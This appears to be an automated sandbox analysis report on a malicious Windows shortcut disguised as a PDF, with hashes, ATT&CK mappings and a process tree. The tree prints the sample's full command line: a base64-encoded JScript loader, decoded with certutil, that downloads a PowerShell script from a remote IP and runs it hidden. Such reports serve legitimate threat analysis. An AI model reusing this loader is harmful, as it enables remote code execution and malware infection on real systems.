2a89b03611fbaced8d59422f21e36c9fea63523b5e0a342b4e982cddf3f46a91

Analysis

max time kernel
298s
max time network
294s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/07/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ScanPassportiv4.pdf.lnk
Size 16KB
Sample260724-eak41afq7x
SHA256 2a89b03611fbaced8d59422f21e36c9fea63523b5e0a342b4e982cddf3f46a91
MD5 5d76709a520c0bfe380cb96625a4a780
SHA1 03c282bef39c23f7677068bc1bee34011c9970ad
SHA512 756ace17eb6c2a597e82044683066565e070a461d03a3196cb3173ca3aab4e7a4dc269a73781fe4d9dbc52d47dd1f83740ac95b45da2dfb14eb8e8ab474c18e3
SSDEEP 24:8d/fYqOoMglJWInZNa0Sp+UOi+Eu+njVHqZetMq:8lfRnW0y7KEu+njtYq
TLSH
T1B872AA3430EC0119D8F3EE71ADA0ABC59D5EB5B7A831159A449243194C01F40FE96B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2740	cscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
868	cmd.exe
1788	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5084	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5084 wrote to memory of 868	5084	cmd.exe	86
PID 868 wrote to memory of 1788	868	cmd.exe	87
PID 868 wrote to memory of 2740	868	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ScanPassportiv4.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvYmx1ZWJlcnJ5b2F0LnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > LhJ.dat && certutil -f -decode LhJ.dat pJhb.js >nul && dir LhJ.dat >nul && cscript //nologo //b pJhb.js && del LhJ.dat pJhb.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:868
- - C:\Windows\system32\certutil.exe
    certutil -f -decode LhJ.dat pJhb.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1788
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b pJhb.js
    3⤵
    - Badlisted process makes network request
    PID:2740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LhJ.dat

Path C:\Users\Admin\AppData\Local\Temp\LhJ.dat
Size 412B
SHA256 b070f40fc57636f2a77943c73d3c2e581116d9addaa4abe84b97da20797fbfcd
MD5 637426072d7a98fdb0170ebd98e76ae1
SHA1 4cdef9a34904121751fd5ed0254c600c38826ee5
SHA512 0feab3becafbf36ca5df8e63e20a1be0cdbd587daf32a984629087a36da9b9cac261cd15ef6a2f2eb6972515682229eefa2a4b43f97d53a15d7f77ea46f8d76c
TLSH
T14DE0A316C987368305703446B5A4046AF4C8CE0025655968E7197C961DFC3DF44E021C
MD5 SHA1 SHA512 TLSH

Submit Download

pJhb.js

Path C:\Users\Admin\AppData\Local\Temp\pJhb.js
Size 304B
SHA256 19b35adfc071361f5aad544e73c1732dd01970a82320749f94d8fc567d4bc9b5
MD5 0d9ae249afd19679baddcde4e0f9baa2
SHA1 6adda374787e94f8cd3e8d6f25f048608c5fd34b
SHA512 4624cd2d40bd749a7f4edddad7aacdb20fe1b0705256879dcd979e51b8f02993897b07da988f53eb011eb89df97e9ccad3b0dde61bd617ca1f50ba412e4bff89
TLSH
T1ABE072644070A0DD60CB9FEC6460D76082EBC0AAB012E8BFF348CAE42822204225DA8E
MD5 SHA1 SHA512 TLSH